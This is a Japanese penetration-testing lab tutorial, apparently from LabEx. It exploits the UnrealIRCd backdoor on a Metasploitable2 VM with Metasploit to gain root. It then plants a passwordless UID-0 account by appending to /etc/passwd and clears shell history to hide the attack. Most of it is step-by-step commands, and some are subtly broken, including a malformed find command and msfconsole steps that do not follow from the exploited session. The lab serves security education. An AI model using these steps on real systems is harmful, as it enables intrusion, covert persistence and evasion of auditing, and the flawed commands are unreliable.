はじめに
この実験では、侵入攻撃を通じてターゲットマシンにアクセスを獲得した後、バックドアを作成し、痕跡を消去する方法を学びます。シナリオは LabEx 環境で設定されており、Kali ターミナルを使用して Metasploitable2 ターゲットマシンの脆弱性を悪用し、root アクセスを獲得し、将来のアクセス用にバックドアを作成し、攻撃プロセス中に残された痕跡をすべて消去します。
ターゲットマシンで root アクセスを獲得する
このステップでは、Unreal Ircd の脆弱性を利用して、ターゲットマシンで root アクセスを獲得します。
ここで、実験用の攻撃マシン(Kali Linux コンテナ)とターゲットマシン(Metasploitable2 仮想マシン)を起動します。
- LabEx ホストマシンで xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 ターゲットを起動します。
sudo virsh start Metasploitable2
ターゲットマシンが起動するまで待ちます。起動には 1 - 3 分かかる場合があります。
- ターゲットマシンに ping を送信して接続性をテストします。
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
- 以下のコマンドを実行して Kali Linux コンテナを起動し、bash 環境に入ります。
docker run -ti --network host b5b709a49cd5 bash
- Kali コンテナ内で、ターゲットマシンへのネットワーク接続をテストします。
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
これで攻撃マシンとターゲットマシンの両方が起動しており、侵入テストを開始することができます。
注意: 誤って現在の bash を終了した場合、Kali コンテナは自動的に停止します。ホストで再度 docker run -ti --network host b5b709a49cd5 bash を実行することで、新しい Kali コンテナを起動し、bash に入って実験を続行することができます。
- Kali Linux コンテナ内の Kali Linux bash ターミナルで、以下のコマンドを入力します。
service postgresql start
msfdb init
cd ~
msfconsole
これにより、PostgreSQL データベースサービスが起動し、データベースが初期化され、さらなる操作のために Metasploit Framework コンソール (msfconsole) が起動します。
- Unreal Ircd の脆弱性モジュールを検索します。
search unreal_ircd
unix/irc/unreal_ircd_3281_backdoorモジュールを使用します。
use exploit/unix/irc/unreal_ircd_3281_backdoor
- ターゲットの IP アドレスを設定します。
set RHOST 192.168.122.102
- 脆弱性を悪用してアクセスを獲得します。
exploit
- 現在のユーザーを確認します。
whoami
ターゲットマシンで root アクセスを獲得していることが確認できるはずです。
Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します
バックドアを作成する
これで root アクセスを獲得したので、将来的にターゲットマシンにアクセスするためのバックドアを作成しましょう。
まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動する必要があります。
cd ~
msfconsole
次に、システム情報を確認します。
uname -a
root ユーザーの bash の場所を見つけます。
cat /etc/passwd
パスワードなしのバックドアアカウントを作成します。
echo 'shiyanlou1234::0:0::/:/bin/sh' >> /etc/passwd
バックドアアカウントの作成を確認します。
cat /etc/passwd
出力に新しいアカウント shiyanlou1234 が表示されるはずです。
新しいターミナルを開き、バックドアアカウントを使用してターゲットマシンに接続します。
telnet 192.168.122.102
ユーザー名の入力を求められたら、shiyanlou1234 を入力します。
現在のユーザーを確認します。
whoami
バックドアユーザーとしてログインしていることが確認できるはずです。
Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します
痕跡を消去する
アクセスを獲得し、バックドアを作成した後は、攻撃プロセス中に残された痕跡をすべて消去して検知を回避することが重要です。
まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動する必要があります。
cd ~
msfconsole
痕跡を消去する一般的な方法の 1 つは、コマンド履歴を削除することです。履歴は .bash_history ファイルに保存されています。以下のコマンドを使用して履歴を消去することができます。
history -c
.bash_history ファイルを消去するには、find コマンドを使用してその場所を見つけることができます。
find / -name.bash_history
Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します
まとめ
この実験では、Unreal Ircd の脆弱性を利用してターゲットマシンで root アクセスを獲得し、将来のアクセス用にバックドアアカウントを作成し、攻撃プロセス中に残された痕跡を消去する方法を学びました。この実践的な経験は、攻撃者が侵入攻撃の成功後に持続的なアクセスを維持し、痕跡を隠すために使用する手法を理解するのに役立ちます。